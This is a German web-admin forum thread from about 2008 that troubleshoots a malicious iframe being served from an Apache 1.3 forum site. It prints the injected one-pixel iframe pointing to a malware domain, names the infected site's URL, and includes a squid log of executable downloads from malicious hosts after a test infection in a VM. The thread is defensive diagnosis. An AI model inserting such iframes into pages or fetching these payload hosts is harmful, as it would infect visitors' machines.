[Diskussion] Dynamische Malware infiziert Webseiten

Hallo,

2 Sites auf dem Server. Eines war infiziert, das andere nicht.

gibt es zwischen den beiden Sites technische Unterschiede, z.B. eine mit Scripts die andere ohne, die eine baut auf einem CMS auf die andere Handarbeit o.ä.?

Wird der Virus weiterhin ausgeliefert, wenn Du
1) den Apachen restartest?
2) den Server restartest?
 
Hallo,
wegen Logs schaue ich gleich mal.

Ansonsten:
Apacherestart hat nichts bewirkt.
Serverneustart nicht probiert.

Die nicht infizierte Site ist ein Joomla-CMS, die infizierte war ein Invision Powerboard 1.3 (patched) mit vorgeschalteten Portal, welches in der Vergangenheit schon mehrfach angegriffen wurde. Die letzten Monate war dort aber Ruhe eingekehrt, nachdem dieses auch gepatched wurde.

Gruss Janny.
 
Wenn Du auf der Seite wo Dein Invision Powerboard 1.3 liegt, dieses mal entfernst und eine einfache index.html bzw. danach index.php mal hinlegst und aufrufst wird dann der "müll" ebenfalls noch ausgeliefert ?
 
Wenn Du auf der Seite wo Dein Invision Powerboard 1.3 liegt, dieses mal entfernst und eine einfache index.html bzw. danach index.php mal hinlegst und aufrufst wird dann der "müll" ebenfalls noch ausgeliefert ?

Nein, wird es nicht. Es offnet sich die Seite, er versucht sich mit http://www.highstats.net/..../..." zu verbinden und der IE will ein "Remote Data..." ausführen, bzw. fragt vorher nach....


Wer mal schauen will :)
http:// web14.sysopa.de/ptforum/index.php

Die "index.html" liegt da auch zum "Test".

Edit: mein Virenscanner findet dann auch noch einen Downloader und und, solange ich auf der Seite bleibe. Echt böse Sache!
 
Last edited by a moderator:
Nun das würde dann aber bedeuten, dass die Dateien "einmalig" infiziert wurden und der "Müll" nicht einfach auf den Request hinzugefügt wird. Was eine Verseuchung des Apachen wiedersprechen würde, oder denke ich da falsch ?
 
Hallo,

kannst Du bitte mal eine "test.php" auf den Server laden mit ganz einfachem PHP-Code drin, z.B.:
Code:
<?php
echo 'test';
?>
Würde mich interessieren, ob die auch verseucht wird.
 
Hallo,

danke, die sind beide nicht infiziert.

Du hast das Board offline, als es noch online war gab es die Virenmeldung auf jedem Dokument des Boards oder nur auf der Startseite?

Schau mal bitte auf dem Server im Quelltext der index.php, ob dieser Eintrag drinsteht (fast ganz am Ende).
Code:
<iframe src='http://hightstats.net/strong/083/' width=1 height=1></iframe>
Das ist der "Virus", wenn der in der index.php auf dem Server auch schon drin ist, dann hat man nicht mehr gemacht als diese Datei zu manipulieren (und ggf. noch andere).

Diese URL (ebenso wie die von Janny angegebene) nur aufrufen wenn man sich 100% auf seinen Virenscanner verlassen kann!
 
Hallo,

ich habe per find und grep im gesamten /html-Ordner nach "highstats" gesucht und nichts gefunden. Das muss irgendwie dynamisch da hineinkommen.
In der index.php ist auch nichts zu finden.
Wenn ich direkt ins Adminpanel gehe (admin.php) kommt die Warnmeldung nicht.

Gruss Janny.
 
Gibts es mmt. eine "verlässlich verseuchte" Seite die man zum testen aufrufen kann? Die beiden genannten URL waren "sauber".

PS: Bitte die fullquotes rauslassen, machts recht unübersichtlich! Danke
 
Die gewünschte Seite "hightstats.net/strong/083/", kann leider nicht angezeigt werden, da sie über SurfControl in der Kategorie "Spyware" blockiert wird.
Der Zugriffsversuch auf die Seite wurde von SurfControl protokolliert.

Hehe, daran könnte es auch liegen dass ich davon nix mitkrieg^^

Das muss irgendwie dynamisch da hineinkommen.

Es gibt doch eh für Apache Module die automatisch in jede Datei eine Kopf- und Fusszeile einfügen können.
Such doch mal eher nach diesem Text in den Configs des Apache. Wenn das allerdings in den Apache-
modulen "hardcoded" ist wirst Du es nie rausfinden...

lg
Basti
 
Last edited by a moderator:
Hallo,

ich habe per find und grep im gesamten /html-Ordner nach "highstats" gesucht und nichts gefunden.
kannst Du bitte mal in /etc und Unterordnern danach greppen?
Welche PHP-Module sind bei Dir includiert? (grep nach LoadModule in /etc/apache)
 
Last edited by a moderator:
Hi,

in /etc findet sich auch nichts, hatte ich schon gesucht.

Code:
LoadModule config_log_module /usr/lib/apache/1.3/mod_log_config.so
LoadModule mime_magic_module /usr/lib/apache/1.3/mod_mime_magic.so
LoadModule mime_module /usr/lib/apache/1.3/mod_mime.so
LoadModule negotiation_module /usr/lib/apache/1.3/mod_negotiation.so
LoadModule status_module /usr/lib/apache/1.3/mod_status.so
LoadModule includes_module /usr/lib/apache/1.3/mod_include.so
LoadModule autoindex_module /usr/lib/apache/1.3/mod_autoindex.so
LoadModule dir_module /usr/lib/apache/1.3/mod_dir.so
LoadModule cgi_module /usr/lib/apache/1.3/mod_cgi.so
LoadModule userdir_module /usr/lib/apache/1.3/mod_userdir.so
LoadModule alias_module /usr/lib/apache/1.3/mod_alias.so
LoadModule rewrite_module /usr/lib/apache/1.3/mod_rewrite.so
LoadModule access_module /usr/lib/apache/1.3/mod_access.so
LoadModule auth_module /usr/lib/apache/1.3/mod_auth.so
LoadModule expires_module /usr/lib/apache/1.3/mod_expires.so
LoadModule setenvif_module /usr/lib/apache/1.3/mod_setenvif.so
LoadModule perl_module /usr/lib/apache/1.3/mod_perl.so
LoadModule ssl_module /usr/lib/apache/1.3/mod_ssl.so
LoadModule php4_module /usr/lib/apache/1.3/libphp4.so
Loadmodule suphp_module /usr/lib/apache/1.3/mod_suphp.so
LoadModule python_module /usr/lib/apache/1.3/mod_python.so
 
Apache 1.3 rennt als www-data
Startet er auch als www-data? Wenn er die Ports 80 und 443 bindet, muss er als root starten, da unprivilegierte Benutzer keine Ports <1024 binden dürfen.

Eines war infiziert, das andere nicht.
Wenn beide über den selben Apache ausgeliefert werden, würde das IMHO eher für eine Manupulation des Boardsysytems sprechen.

Änderung in den Dateien der infizierten Site gab es nicht.
Wie hast du das geprüft? Diff gegen ein Backup? md5-Checks gegen die Dateien aus dem Install-Paket?

Bist du sicher, dass es sich um dasselbe Problem handelt? Soweit ich das mitbekommen habe, sind die Angriffe auf die Clints gar nicht so neu. Die Methode, das vom Apache ausliefern zu lassen, dürfte eher der Knackpunkt sein.

Lass mal die installierten Dateien aller mit Apache zusammenhängenden Pakete von der Paketverwaltung auf MD5-Abweichungen testen. Interessant wäre auch eine Liste aller Dateien, die der Apache öffnet und die nicht zu seinen Paketen gehören. Zu irgendeinem Zeitpunkt muss er das Modul ja laden.
 
//offtopic:

Alter Schwede, habe mir gerade in ner VM n WinXP SP2 ohne Sicherheitsupdates und ohne Virenscanner aufgesetzt und mal munter auf den Link gedrückt:
So viel Leben war noch nie in einer frischen VM :) Es wird munter darauf los geladen, zwei sichtbare Programme die mir vorgaukeln der Rechner sei infiziert, und gegen Bezahlung mit meiner Seele oder viel viel Geld könne ich ihn wieder cleanen, massig Traffic auf der virtuellen Netzwerkkarte und Dinge wie z.B. Taskmanager wurden deaktiviert.

Das Teil hats wirklich in sich :-) Ich würde empfehlen den Link erstmal wieder unkenntlich zu machen!

lg
Basti

EDIT:
So, folgendes ergab sich beim Aufruf der Seite:

Code:
root@vm1:/var/log/squid# cat access-infected.log |grep .exe
192.168.6.53 - - [25/Jan/2008:20:37:08 +0100] "GET http://hightstats.net/dl/083/win32.exe HTTP/1.0" 200 21847 TCP_MISS:DIRECT
192.168.6.53 - - [25/Jan/2008:20:37:19 +0100] "GET http://85.255.115.226/gdnOT3256.exe HTTP/1.0" 200 14024 TCP_MISS:DIRECT
192.168.6.53 - - [25/Jan/2008:20:37:30 +0100] "GET http://66.148.74.35/aff/dir/shift.exe HTTP/1.0" 200 129856 TCP_MISS:DIRECT
192.168.6.53 - - [25/Jan/2008:20:37:33 +0100] "GET http://88.255.90.154/wincomp.exe HTTP/1.0" 200 70537 TCP_MISS:DIRECT
192.168.6.53 - - [25/Jan/2008:20:37:33 +0100] "GET http://88.255.90.154/404/winftp2.exe HTTP/1.0" 200 33389 TCP_MISS:DIRECT
192.168.6.53 - - [25/Jan/2008:20:37:34 +0100] "GET http://88.255.90.154/wincomp.exe HTTP/1.0" 200 70537 TCP_MISS:DIRECT
192.168.6.53 - - [25/Jan/2008:20:37:36 +0100] "GET http://88.255.90.154/404/winftp2.exe HTTP/1.0" 200 33389 TCP_MISS:DIRECT
192.168.6.53 - - [25/Jan/2008:20:37:38 +0100] "GET http://ebalashka.com/lkjasdlkj/ldfgjhtg.exe? HTTP/1.0" 200 33174 TCP_MISS:DIRECT
192.168.6.53 - - [25/Jan/2008:20:37:39 +0100] "GET http://ebalashka.com/lkjasdlkj/ldfgjhtg.exe? HTTP/1.0" 200 113007 TCP_MISS:DIRECT
root@vm1:/var/log/squid#

Und die Kiste fing laut Wireshark sofort nach der Infektion an wie wild per SMTP Mails zu verschicken. Wenn ich mir die Adressen so ansehe einfach wild an geratene Mailadressen. Allerdings deckt sich das Muster der Adressen mit den logfiles meiner Server, also die Mails die wegen nicth vorhandere Adressen nicht angenommen oder das Relay verweigert wird.
So kann ich mir gut vorstellen wie der ganze Spam zustande kommt, und warum Blacklists nicht wirklich die Lösung sind!
 
Last edited by a moderator:
Hallo,
wenn Du die hier auskommentiert und den Apachen neu startest

Code:
LoadModule status_module /usr/lib/apache/1.3/mod_status.so
LoadModule includes_module /usr/lib/apache/1.3/mod_include.so
LoadModule autoindex_module /usr/lib/apache/1.3/mod_autoindex.so
LoadModule alias_module /usr/lib/apache/1.3/mod_alias.so
LoadModule rewrite_module /usr/lib/apache/1.3/mod_rewrite.so

nach dem Neustart prüfen ob sie immer noch auskommentiert sind, ist dann der Iframe immer noch im Forum?

Beim Neustart des Apachen nicht restart nehmen, sondern erstmal stop dann mit "ps aux" kontrollieren ob wirklich kein Apacheprozeß mehr läuft, dann wieder starten.
 
Wenn man in den httpd- und sendmail log-files das Wort 'hightstats' o.ä. nicht findet, kann man dann annehmen das man nicht betroffen ist ? Bzw was gibt es für einen einfachen Test ? Wenn php-Dateien vom Virus geändert werden, ändert sich dann auch das Datum des letzten Zugriffes (was im mc angegeben wird wenn man sich den Ordner mit den www -Seiten anguckt ?), oder muß man innerhalb jeder php- Datei suchen ?
 
Last edited by a moderator:
Back
Top